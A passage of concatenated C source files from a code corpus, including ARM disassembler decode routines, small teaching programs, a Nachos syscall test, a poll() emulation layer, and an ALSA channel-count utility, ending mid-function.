unsigned Rm = fieldFromInstruction_4(Insn, 5, 1);
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
Rm |= fieldFromInstruction_4(Insn, 0, 4) << 1;
if (Rt == 0xF || Rt2 == 0xF || Rm == 0x1F)
S = MCDisassembler_SoftFail;
if (!Check(&S, DecodeSPRRegisterClass(Inst, Rm , Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeSPRRegisterClass(Inst, Rm+1, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt , Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt2 , Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeVMOVRRS(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rt2 = fieldFromInstruction_4(Insn, 16, 4);
unsigned Rm = fieldFromInstruction_4(Insn, 5, 1);
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
Rm |= fieldFromInstruction_4(Insn, 0, 4) << 1;
if (Rt == 0xF || Rt2 == 0xF || Rm == 0x1F)
S = MCDisassembler_SoftFail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt , Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRRegisterClass(Inst, Rt2 , Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeSPRRegisterClass(Inst, Rm , Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeSPRRegisterClass(Inst, Rm+1, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeIT(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned pred = fieldFromInstruction_4(Insn, 4, 4);
unsigned mask = fieldFromInstruction_4(Insn, 0, 4);
if (pred == 0xF) {
pred = 0xE;
S = MCDisassembler_SoftFail;
}
if (mask == 0x0)
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, pred);
MCOperand_CreateImm0(Inst, mask);
return S;
}
static DecodeStatus DecodeT2LDRDPreInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rt2 = fieldFromInstruction_4(Insn, 8, 4);
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned addr = fieldFromInstruction_4(Insn, 0, 8);
unsigned W = fieldFromInstruction_4(Insn, 21, 1);
unsigned U = fieldFromInstruction_4(Insn, 23, 1);
unsigned P = fieldFromInstruction_4(Insn, 24, 1);
bool writeback = (W == 1) | (P == 0);
addr |= (U << 8) | (Rn << 9);
if (writeback && (Rn == Rt || Rn == Rt2))
Check(&S, MCDisassembler_SoftFail);
if (Rt == Rt2)
Check(&S, MCDisassembler_SoftFail);
// Rt
if (!Check(&S, DecoderGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
// Rt2
if (!Check(&S, DecoderGPRRegisterClass(Inst, Rt2, Address, Decoder)))
return MCDisassembler_Fail;
// Writeback operand
if (!Check(&S, DecoderGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
// addr
if (!Check(&S, DecodeT2AddrModeImm8s4(Inst, addr, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeT2STRDPreInstruction(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rt2 = fieldFromInstruction_4(Insn, 8, 4);
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned addr = fieldFromInstruction_4(Insn, 0, 8);
unsigned W = fieldFromInstruction_4(Insn, 21, 1);
unsigned U = fieldFromInstruction_4(Insn, 23, 1);
unsigned P = fieldFromInstruction_4(Insn, 24, 1);
bool writeback = (W == 1) | (P == 0);
addr |= (U << 8) | (Rn << 9);
if (writeback && (Rn == Rt || Rn == Rt2))
Check(&S, MCDisassembler_SoftFail);
// Writeback operand
if (!Check(&S, DecoderGPRRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
// Rt
if (!Check(&S, DecoderGPRRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
// Rt2
if (!Check(&S, DecoderGPRRegisterClass(Inst, Rt2, Address, Decoder)))
return MCDisassembler_Fail;
// addr
if (!Check(&S, DecodeT2AddrModeImm8s4(Inst, addr, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeT2Adr(MCInst *Inst, uint32_t Insn,
uint64_t Address, const void *Decoder)
{
unsigned Val;
unsigned sign1 = fieldFromInstruction_4(Insn, 21, 1);
unsigned sign2 = fieldFromInstruction_4(Insn, 23, 1);
if (sign1 != sign2) return MCDisassembler_Fail;
Val = fieldFromInstruction_4(Insn, 0, 8);
Val |= fieldFromInstruction_4(Insn, 12, 3) << 8;
Val |= fieldFromInstruction_4(Insn, 26, 1) << 11;
Val |= sign1 << 12;
MCOperand_CreateImm0(Inst, SignExtend32(Val, 13));
return MCDisassembler_Success;
}
static DecodeStatus DecodeT2ShifterImmOperand(MCInst *Inst, uint32_t Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
// Shift of "asr #32" is not allowed in Thumb2 mode.
if (Val == 0x20) S = MCDisassembler_SoftFail;
MCOperand_CreateImm0(Inst, Val);
return S;
}
static DecodeStatus DecodeSwap(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S;
unsigned Rt = fieldFromInstruction_4(Insn, 12, 4);
unsigned Rt2 = fieldFromInstruction_4(Insn, 0, 4);
unsigned Rn = fieldFromInstruction_4(Insn, 16, 4);
unsigned pred = fieldFromInstruction_4(Insn, 28, 4);
if (pred == 0xF)
return DecodeCPSInstruction(Inst, Insn, Address, Decoder);
S = MCDisassembler_Success;
if (Rt == Rn || Rn == Rt2)
S = MCDisassembler_SoftFail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rt2, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, pred, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeVCVTD(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Vm, imm, cmode, op;
unsigned Vd = (fieldFromInstruction_4(Insn, 12, 4) << 0);
Vd |= (fieldFromInstruction_4(Insn, 22, 1) << 4);
Vm = (fieldFromInstruction_4(Insn, 0, 4) << 0);
Vm |= (fieldFromInstruction_4(Insn, 5, 1) << 4);
imm = fieldFromInstruction_4(Insn, 16, 6);
cmode = fieldFromInstruction_4(Insn, 8, 4);
op = fieldFromInstruction_4(Insn, 5, 1);
// VMOVv2f32 is ambiguous with these decodings.
if (!(imm & 0x38) && cmode == 0xF) {
if (op == 1) return MCDisassembler_Fail;
MCInst_setOpcode(Inst, ARM_VMOVv2f32);
return DecodeNEONModImmInstruction(Inst, Insn, Address, Decoder);
}
if (!(imm & 0x20)) return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Vd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeDPRRegisterClass(Inst, Vm, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, 64 - imm);
return S;
}
static DecodeStatus DecodeVCVTQ(MCInst *Inst, unsigned Insn,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Vm, imm, cmode, op;
unsigned Vd = (fieldFromInstruction_4(Insn, 12, 4) << 0);
Vd |= (fieldFromInstruction_4(Insn, 22, 1) << 4);
Vm = (fieldFromInstruction_4(Insn, 0, 4) << 0);
Vm |= (fieldFromInstruction_4(Insn, 5, 1) << 4);
imm = fieldFromInstruction_4(Insn, 16, 6);
cmode = fieldFromInstruction_4(Insn, 8, 4);
op = fieldFromInstruction_4(Insn, 5, 1);
// VMOVv4f32 is ambiguous with these decodings.
if (!(imm & 0x38) && cmode == 0xF) {
if (op == 1) return MCDisassembler_Fail;
MCInst_setOpcode(Inst, ARM_VMOVv4f32);
return DecodeNEONModImmInstruction(Inst, Insn, Address, Decoder);
}
if (!(imm & 0x20)) return MCDisassembler_Fail;
if (!Check(&S, DecodeQPRRegisterClass(Inst, Vd, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeQPRRegisterClass(Inst, Vm, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, 64 - imm);
return S;
}
static DecodeStatus DecodeLDR(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned Cond;
unsigned Rn = fieldFromInstruction_4(Val, 16, 4);
unsigned Rt = fieldFromInstruction_4(Val, 12, 4);
unsigned Rm = fieldFromInstruction_4(Val, 0, 4);
Rm |= (fieldFromInstruction_4(Val, 23, 1) << 4);
Cond = fieldFromInstruction_4(Val, 28, 4);
if (fieldFromInstruction_4(Val, 8, 4) != 0 || Rn == Rt)
S = MCDisassembler_SoftFail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeAddrMode7Operand(Inst, Rn, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePostIdxReg(Inst, Rm, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodePredicateOperand(Inst, Cond, Address, Decoder)))
return MCDisassembler_Fail;
return S;
}
static DecodeStatus DecodeMRRC2(MCInst *Inst, unsigned Val,
uint64_t Address, const void *Decoder)
{
DecodeStatus S = MCDisassembler_Success;
unsigned CRm = fieldFromInstruction_4(Val, 0, 4);
unsigned opc1 = fieldFromInstruction_4(Val, 4, 4);
unsigned cop = fieldFromInstruction_4(Val, 8, 4);
unsigned Rt = fieldFromInstruction_4(Val, 12, 4);
unsigned Rt2 = fieldFromInstruction_4(Val, 16, 4);
if ((cop & ~0x1) == 0xa)
return MCDisassembler_Fail;
if (Rt == Rt2)
S = MCDisassembler_SoftFail;
MCOperand_CreateImm0(Inst, cop);
MCOperand_CreateImm0(Inst, opc1);
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rt, Address, Decoder)))
return MCDisassembler_Fail;
if (!Check(&S, DecodeGPRnopcRegisterClass(Inst, Rt2, Address, Decoder)))
return MCDisassembler_Fail;
MCOperand_CreateImm0(Inst, CRm);
return S;
}
#endif
|
the_stack_data/57949477.c | #include<stdio.h>
int main()
{
int n,i,j;
scanf("%d",&n);
if(n%2!=0)
{
for(i = 0;i <= n/2;i++)
{
for(j = 0; j < n; j++)
{
if(j >= (n/2 - i) && j <= (n/2 + i))
printf("%c", '*');
else
printf("%c", '-');
}
printf("\n");
}
return 0;
}
else
{
printf("Invalid Input");
}
return 0;
} |
the_stack_data/65091.c |
/**
* Note: The returned array must be malloced, assume caller calls free().
*/
int* getConcatenation(int* nums, int numsSize, int* returnSize)
{
int* ptr = (int*)malloc(2*numsSize * sizeof(int));
*returnSize = 2*numsSize;
for(int i=0; i<numsSize; i++)
{
ptr[i] = ptr[numsSize+i] = nums[i];
}
return ptr;
}
|
the_stack_data/587695.c | #include <stdio.h>
#include <stdlib.h>
/** Método que realiza a soma de todos os divisores de um número dado.
* Recebe um número que se será o que número que terá a soma de todos os seus divisores.
* Um laço é realizado para checar todos os possíveis divisores desse número (a partir de i/2), onde
* o teste de possível divisor é i % j == 0. Caso o número da iteração seja um divisor do número dado,
* é adicionado no resultado da variável "soma", que será retornada no fim do método.
*
* @param [int] i O número que será testado em busca de divisores. Todos os divisores desse número serão somados e este será o valor retornado do método.
* @return A soma de todos os divisores do número dado.
*/
int calculaSomaDosDivisores(int i) {
int j, soma = i;
for(j = (int) i / 2; j > 0; j--){
if(i % j == 0) {
soma += j;
}
}
return soma;
}
/** Método principal de um programa que resolve o problema dos números mutuamente amigos.
*
* Recebe dois argumentos: "minimo" e "maximo" ("./meuPrograma <minimo> <maximo>"), que é o
* intervalo que os números mutuamente amigos serão calculados por esse programa.
*
* O programa tenta alocar memória para um array de double's e caso não consiga, encerra o programa
* com uma mensagem de erro e o código "-1". Caso seja possível alocar a memória para esse array,
* o programa entra em seu ciclo de execução normal. A execução é divida em duas etapas:
*
* 1) Calcula as "frações mutuais" (soma de todos os divisores dividido pelo próprio número) de
* todos os números do intervalo. Cada uma das frações é armazena no array de double's "fracoes".
*
* 2) Após realizar todos os cálculos é necessário checar quais números são de fato mutuamente amigos.
* Para isso são utilizados dois laços que percorrem o vetor em busca de números que tem a mesma "fracaoMutual".
*
* Após essas etapas, a memória ocupada pelo array de double's "fracoes" é liberada e o programa é finalizado com o código "0" (sem erro).
*
*/
int main(int argc, char **argv) {
int minimo = atoi(argv[1]);
int maximo = atoi(argv[2]);
int i, j, intervalo = maximo-minimo;
double fracaoMutual;
double *fracoes = (double*) malloc ((intervalo + 1) * sizeof(double));
if(fracoes != NULL) {
for (i = minimo; i <= maximo; i++) {
fracaoMutual = (double)calculaSomaDosDivisores(i) / i;
fracoes[i - minimo] = fracaoMutual;
}
for(i = 0; i <= intervalo; i++){
for (j = i+1; j <= intervalo; j++) {
if(fracoes[i] == fracoes[j]) {
//printf("Os numeros %d e %d são mutuamente amigos.\n", (minimo + i), (minimo + j));
}
}
}
free(fracoes);
return 0;
}
printf("Não foi possível alocar memória.");
return -1;
}
|
the_stack_data/32949084.c |
/* quicksort: sort the array of integers between left and right into increasing order */
void quicksort(int *left, int *right)
{
int *i, *last;
void swap(int *, int *);
if (left >= right)
return; /* base case */
for (i = last = left; i <= right; i++)
if (*i < *right) /* use *right as the pivot */
swap(last++, i);
swap(right, last); /* move the pivot to its correct position */
quicksort(left, last - 1);
quicksort(last+1, right);
}
/* swap: interchange *i and *j */
void swap(int *i, int *j)
{
int temp;
temp = *i;
*i = *j;
*j = temp;
}
|
the_stack_data/120577.c | #include <stdio.h>
double normalize(x)double x;{if(x==0)x=0;return x;}
main(){char b[9];sprintf(b,"%g",normalize(-0.0));if(strcmp(b,"0"))abort();exit(0);}
|
the_stack_data/87884.c | //
// Created by 余雷 on 2022/4/21.
//
#include "stdio.h"
#include "string.h" // 提供 strlen()函数的原型
#define DENSITY 62.4 //人体密度 (单位: 磅/立方英尺)
/**
* 演示与用户的交互
*/
int main(){
float weight, volume;
int size , letters;
char name[40]; //name 是一个可容纳40个字符的数组
printf("Hi! What's your first name ? \n");
scanf("%s" ,name ); // 遇到字符串当中的空格会停止
printf("%s , what's your weight in pounds ? \n", name);
scanf("%f", &weight);
size = sizeof name;
letters = strlen(name);
volume = weight / DENSITY;
printf("Well , %s ,your volume is % 2.2f cubic feet. \n", name ,volume);
printf("Also, your first name has %d letters , \n ", letters);
printf(" and we have %d bytes to store it .\n ", size);
return 0;
}
|
the_stack_data/107231.c | #include <stdio.h>
int main(){
int x ,i, contP=0,contN=0, P=0, I=0;
for (i=0;i<5;i++){
scanf("%d", &x);
if (x>0) contP++;
else if (x < 0) contN++;
if (x%2==0) P++;
else I++;
}
printf("%d valor(es) par(es)\n", P);
printf("%d valor(es) impar(es)\n", I);
printf("%d valor(es) positivo(s)\n", contP);
printf("%d valor(es) negativo(s)\n", contN);
return 0;
}
|
the_stack_data/82951430.c | /**
* Super basic example of a working function pointer.
*/
#include <stdio.h>
#include <stdlib.h>
void populateArray(int *array, size_t arraySize, size_t (*getNextValue)(size_t))
{
int value;
size_t i = 0;
for (; i < arraySize; i++){
value = getNextValue(i);
array[i] = value;
printf("%d\n", value);
}
}
size_t getNextRandomValue(size_t index)
{
return index;
}
int main(int argc, char const *argv[])
{
int myarray[10];
populateArray(myarray, 10, getNextRandomValue);
return 0;
}
|
the_stack_data/153267146.c | #include <stdio.h>
#include <math.h>
int main (void){
float a,b,c,delta,x1,x2;
printf("Digite o coeficiente a: ");
scanf("%f",&a);
printf("Digite o coeficiente b: ");
scanf("%f",&b);
printf("Digite o coeficiente c: ");
scanf("%f",&c);
if(a!=0){
delta = (b*b) - 4 * a * c;
if (delta==0){
x1=(-b + sqrt(delta))/(2*a);
printf("Delta igual a 0\n");
printf("Delta: %.2f\n",delta);
printf("x1 e x2 = %.2f\n",x1);
return 1;
}else{
if(delta>0){
x1=(-b + sqrt(delta))/(2*a);
x2=(-b - sqrt(delta))/(2*a);
printf("Delta maior que 0\n");
printf("Delta: %1.f\n",delta);
printf("x1 = %.2f\n",x1);
printf("x2 = %.2f\n",x2);
return 0;
}else{
printf("Delta menor que 0\n");
printf("As raizes nao podem ser calculadas\n");
return 2;
}
}
}else{
printf("Nao eh uma equacao do 2 grau");
}
} |
the_stack_data/159516121.c |
int glui_img_radiobutton_1[] = { 14, 14, /* width, height */
192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192,
192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192,
192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192,
192,192,192, 192,192,192, 192,192,192, 192,192,192, 255,255,255,
255,255,255, 255,255,255, 255,255,255, 192,192,192, 192,192,192,
192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192,
192,192,192, 255,255,255, 255,255,255, 192,192,192, 192,192,192,
192,192,192, 192,192,192, 255,255,255, 255,255,255, 192,192,192,
192,192,192, 192,192,192, 192,192,192, 192,192,192, 128,128,128,
192,192,192, 192,192,192, 255,255,255, 255,255,255, 255,255,255,
255,255,255, 192,192,192, 192,192,192, 255,255,255, 192,192,192,
192,192,192, 192,192,192, 192,192,192, 128,128,128, 0, 0, 0,
255,255,255, 255,255,255, 255,255,255, 255,255,255, 255,255,255,
255,255,255, 192,192,192, 255,255,255, 192,192,192, 192,192,192,
192,192,192, 128,128,128, 0, 0, 0, 255,255,255, 255,255,255,
255,255,255, 0, 0, 0, 0, 0, 0, 255,255,255, 255,255,255,
255,255,255, 192,192,192, 255,255,255, 192,192,192, 192,192,192,
128,128,128, 0, 0, 0, 255,255,255, 255,255,255, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 255,255,255, 255,255,255,
192,192,192, 255,255,255, 192,192,192, 192,192,192, 128,128,128,
0, 0, 0, 255,255,255, 255,255,255, 0, 0, 0, 0, 0, 0,
0, 0, 0, 0, 0, 0, 255,255,255, 255,255,255, 192,192,192,
255,255,255, 192,192,192, 192,192,192, 128,128,128, 0, 0, 0,
255,255,255, 255,255,255, 255,255,255, 0, 0, 0, 0, 0, 0,
255,255,255, 255,255,255, 255,255,255, 192,192,192, 255,255,255,
192,192,192, 192,192,192, 192,192,192, 128,128,128, 0, 0, 0,
255,255,255, 255,255,255, 255,255,255, 255,255,255, 255,255,255,
255,255,255, 192,192,192, 255,255,255, 192,192,192, 192,192,192,
192,192,192, 192,192,192, 128,128,128, 0, 0, 0, 0, 0, 0,
255,255,255, 255,255,255, 255,255,255, 255,255,255, 0, 0, 0,
0, 0, 0, 255,255,255, 192,192,192, 192,192,192, 192,192,192,
192,192,192, 192,192,192, 128,128,128, 128,128,128, 0, 0, 0,
0, 0, 0, 0, 0, 0, 0, 0, 0, 128,128,128, 128,128,128,
192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192,
192,192,192, 192,192,192, 192,192,192, 128,128,128, 128,128,128,
128,128,128, 128,128,128, 192,192,192, 192,192,192, 192,192,192,
192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192,
192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192,
192,192,192, 192,192,192, 192,192,192, 192,192,192, 192,192,192,
192,192,192,
};
|
the_stack_data/140764388.c | #include<stdio.h>
int main(void) {
double A[5] = {
9.0,
2.9,
3.E+25,
.00007
};
for(int i = 0; i < 5; ++i) {
if (i) {
printf("element %d is %g, \tits square is %g\n", i, A[i], A[i]*A[i]);
}
}
return 0;
} |
the_stack_data/6947.c | #include "syscall.h"
#include "stdlib.h"
/*
* Calls open syscall multiple times. There are 16 file descriptors allowed
* to be opened per process from which first two should be allocated for
* stdin and stdout.
* Besides that StubFileSystem has number of files opened concurrently restricted
* to 16 as well. But if we open 14 files in one process, execute another process
* and try to open another file, StubFileSystem will return null.
* Reason behind this is, that besides 14 regular files, StubFileSystem has
* opened 2 executable files (2 processes), which makes 16 files opened.
* This program helps to execute this and thus testing if open fails and
* returns -1 as it should.
*
* argc - equals 2
* argv[0] - indicates which part should run
* argv[1] - file that exists in nachos_home directory
*
* returns - 0 on success
*/
int main(int argc, char **argv) {
char *args[2];
int child_pid = -1;
int child_status = -1;
int i;
// Make sure we have been called with correct number of arguments.
assert(2 == argc);
if (0 == strcmp("first", argv[0])) {
// Call open 14 - times. Everything should be OK.
for (i = 0; i < 14; i++) {
assert(-1 != open(argv[1]));
}
// Execute child process joining it.
args[0] = "second";
args[1] = argv[1];
child_pid = exec("test_open_3.elf", 2, args);
assert(-1 != child_pid);
assert(1 == join(child_pid, &child_status));
assert(0 == child_status);
} else if (0 == strcmp("second", argv[0])) {
// StubFileSystem open file count exceeded, so open should return -1.
assert(-1 == open(argv[1]));
} else {
// Wrong usage fail program.
assertNotReached();
}
return 0;
} |
the_stack_data/140765000.c | /***************************************************************************
begin : Mon Aug 15 2005
copyright : (C) 2005 - 2009 by Alper Akcan
email : [email protected]
***************************************************************************/
/***************************************************************************
* *
* This program is free software; you can redistribute it and/or modify *
* it under the terms of the GNU Lesser General Public License as *
* published by the Free Software Foundation; either version 2.1 of the *
* License, or (at your option) any later version. *
* *
***************************************************************************/
#if defined(CONFIG_PIPE_POSIX)
static int s_pipe_posix_init (void)
{
return 0;
}
static int s_pipe_posix_uninit (void)
{
return 0;
}
static int s_pipe_posix_pipe (int filedes[2])
{
return pipe(filedes);
}
static int s_pipe_posix_poll (struct pollfd *ufds, nfds_t nfds, int timeout)
{
#if defined(CONFIG_POLL_POLL)
return poll(ufds, nfds, timeout);
#else /* CONFIG_POLL_POLL */
/* poll() emulation using select()
*/
nfds_t i;
int rval;
int rtmp;
int highfd;
fd_set read;
fd_set write;
fd_set except;
struct timeval tv;
FD_ZERO(&read);
FD_ZERO(&write);
FD_ZERO(&except);
highfd = -1;
for (i = 0; i < nfds; i++) {
if (ufds[i].fd < 0) {
continue;
}
if (ufds[i].fd >= FD_SETSIZE) {
return -1;
}
if (ufds[i].fd > highfd) {
highfd = ufds[i].fd;
}
if (ufds[i].events & POLLIN) {
FD_SET(ufds[i].fd, &read);
}
if (ufds[i].events & POLLOUT) {
FD_SET(ufds[i].fd, &write);
}
FD_SET(ufds[i].fd, &except);
}
tv.tv_sec = timeout / 1000;
tv.tv_usec = (timeout % 1000) * 1000;
rval = select(highfd + 1, &read, &write, &except, timeout == -1 ? NULL : &tv);
if (rval <= 0) {
/* just a hack, bad file descriptor check to get closed flag
*/
rtmp = 0;
for (i = 0; i < nfds; i++) {
int flag;
ufds[i].revents = 0;
if (fcntl(ufds[i].fd, F_GETFL, &flag) < 0) {
ufds[i].revents |= (POLLERR | POLLHUP | POLLNVAL);
rtmp++;
}
}
return (rtmp > 0) ? rtmp : rval;
}
rval = 0;
for (i = 0; i < nfds; i++) {
ufds[i].revents = 0;
if (FD_ISSET(ufds[i].fd, &read)) {
ufds[i].revents |= POLLIN;
}
if (FD_ISSET(ufds[i].fd, &write)) {
ufds[i].revents |= POLLOUT;
}
if (FD_ISSET(ufds[i].fd, &except)) {
ufds[i].revents |= (POLLERR | POLLHUP | POLLNVAL);
}
if (ufds[i].revents != 0) {
rval++;
}
}
return rval;
#endif /* CONFIG_POLL_POLL */
}
static int s_pipe_posix_read (int fd, void *buf, unsigned int count)
{
return read(fd, buf, count);
}
static int s_pipe_posix_write (int fd, void *buf, unsigned int count)
{
return write(fd, buf, count);
}
static int s_pipe_posix_close (int fd)
{
return close(fd);
}
static s_pipe_api_t s_pipe_posix = {
s_pipe_posix_init,
s_pipe_posix_uninit,
s_pipe_posix_pipe,
s_pipe_posix_poll,
s_pipe_posix_read,
s_pipe_posix_write,
s_pipe_posix_close
};
#endif /* CONFIG_PIPE_POSIX */
|
the_stack_data/36202.c | /* hello world demo */
#include "stdio.h"
int main(int argc, char **argv)
{
int i;
printf("hello world\n");
int a = 1000000000;
printf("%7.2lf\n", (double)a / (double)3);
return 0;
}
|
the_stack_data/11544.c | int main()
{
int x;
x=5;
x=x*x;
return x;
}
|
the_stack_data/242331623.c | #include <getopt.h>
#include <alsa/asoundlib.h>
static char *device = "hw:0,0";
static int get_input_channel_count() {
snd_pcm_t *pcm;
snd_pcm_hw_params_t *hw_params;
snd_pcm_hw_params_alloca(&hw_params);
int err;
unsigned int min, max;
unsigned int i;
err = snd_pcm_open(&pcm, device, SND_PCM_STREAM_CAPTURE, SND_PCM_NONBLOCK);
if (err < 0) {
fprintf(stderr, "Error opening input device '%s': %s\n", device, snd_strerror(err));
return 1;
}
snd_pcm_hw_params_alloca(&hw_params);
err = snd_pcm_hw_params_any(pcm, hw_params);
if (err < 0) {
fprintf(stderr, "Error getting hardware parameters: %s\n", snd_strerror(err));
snd_pcm_close(pcm);
return 1;
}
err = snd_pcm_hw_params_get_channels_min(hw_params, &min);
if (err < 0) {
fprintf(stderr, "Error getting minimum input channels count: %s\n", snd_strerror(err));
snd_pcm_close(pcm);
return 1;
}
err = snd_pcm_hw_params_get_channels_max(hw_params, &max);
if (err < 0) {
fprintf(stderr, "Error getting maximum input channels count: %s\n", snd_strerror(err));
snd_pcm_close(pcm);
return 1;
}
if (!snd_pcm_hw_params_test_channels(pcm, hw_params, max)) {
printf("Inputs: %u\n", max);
} else {
fprintf(stderr, "Error verifying input channels count: %s\n", snd_strerror(err));
snd_pcm_close(pcm);
return 1;
}
snd_pcm_close(pcm);
return 0;
}
static int get_output_channel_count() {
snd_pcm_t *pcm;
snd_pcm_hw_params_t *hw_params;
snd_pcm_hw_params_alloca(&hw_params);
int err;
unsigned int max;
unsigned int i;
err = snd_pcm_open(&pcm, device, SND_PCM_STREAM_PLAYBACK, SND_PCM_NONBLOCK);
if (err < 0) {
fprintf(stderr, "Error opening device '%s': %s\n", device, snd_strerror(err));
return 1;
}
snd_pcm_hw_params_alloca(&hw_params);
err = snd_pcm_hw_params_any(pcm, hw_params);
if (err < 0) {
fprintf(stderr, "Error getting hardware output parameters: %s\n", snd_strerror(err));
snd_pcm_close(pcm);
return 1;
}
err = snd_pcm_hw_params_get_channels_max(hw_params, &max);
if (err < 0) {
fprintf(stderr, "Error getting maximum output channels count: %s\n", snd_strerror(err));
snd_pcm_close(pcm);
return 1;
}
if (!snd_pcm_hw_params_test_channels(pcm, hw_params, max)) {
printf("Outputs: %u\n", max);
} else {
fprintf(stderr, "Error verifying output channels count: %s\n", snd_strerror(err));
snd_pcm_close(pcm);
return 1;
}
snd_pcm_close(pcm);
return 0;
}
static void remove_char(char *str, char remove) {
char *src, *dst;
for (src = dst = str; *src != '\0'; src++) {
*dst = *src;
if (*dst != remove) dst++;
}
*dst = '\0';
}
static void prepend(char *str, const char *prepend) {
size_t len = strlen(prepend);
memmove(str + len, str, strlen(str) + 1);
memcpy(str, prepend, len);
}
static void help(void) {
int k;
printf(
"Usage: channelcnt [OPTION]...\n"
"-h,--help help\n"
"-D,--device device\n"
"-U,--usb-name usb device name\n"
"\n"
);
}
int main(int argc, char **argv) {
struct option long_option[] = {
{"device", 1, NULL, 'D'},
{"usb-name", 1, NULL, 'U'},
{NULL, 0, NULL, 0},
};
int morehelp = 0;
int err;
while (1) {
int c;
if ((c = getopt_long(argc, argv, "hD:U:", long_option, NULL)) < 0) {
break;
}
switch (c) {
case 'h':
morehelp++;
break;
case 'D':
device = strdup(optarg);
break;
case 'U':
{
char *usb_name = strdup(optarg);
remove_char(usb_name, '-');
remove_char(usb_name, ' ');
char *s = malloc(100);
strcpy(s, usb_name);
prepend(s, "hw:");
device = strdup(s);
free(usb_name);
free(s);
}
break;
}
}
if (morehelp) {
help();
return 0;
}
printf("Device: %s\n", device);
err = get_input_channel_count(device);
if (err < 0) {
return 1;
}
err = get_output_channel_count(device);
if (err < 0) {
return 1;
}
snd_config_update_free_global();
return 0;
}
|
the_stack_data/72011813.c | #define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <math.h>
#include <string.h>
#define MAXIMUM_INPUT_DIGITS_NUMBER 10 // will have problems with number larger than 64
int convert_digit_to_int(char);
int evaluate(int, int [], long long, int);
char * get_solution(int [], long long, int);
int __cmpfunc(const void *, const void *);
int main(int argc, const char * argv[]) {
char input[MAXIMUM_INPUT_DIGITS_NUMBER + 1];
fgets(input, MAXIMUM_INPUT_DIGITS_NUMBER + 1, stdin);
int expexted_result;
scanf(" %d",&expexted_result);
int digits[MAXIMUM_INPUT_DIGITS_NUMBER];
int i = 0;
char ch = input[i++];
while (ch >= '0' && ch <= '9') {
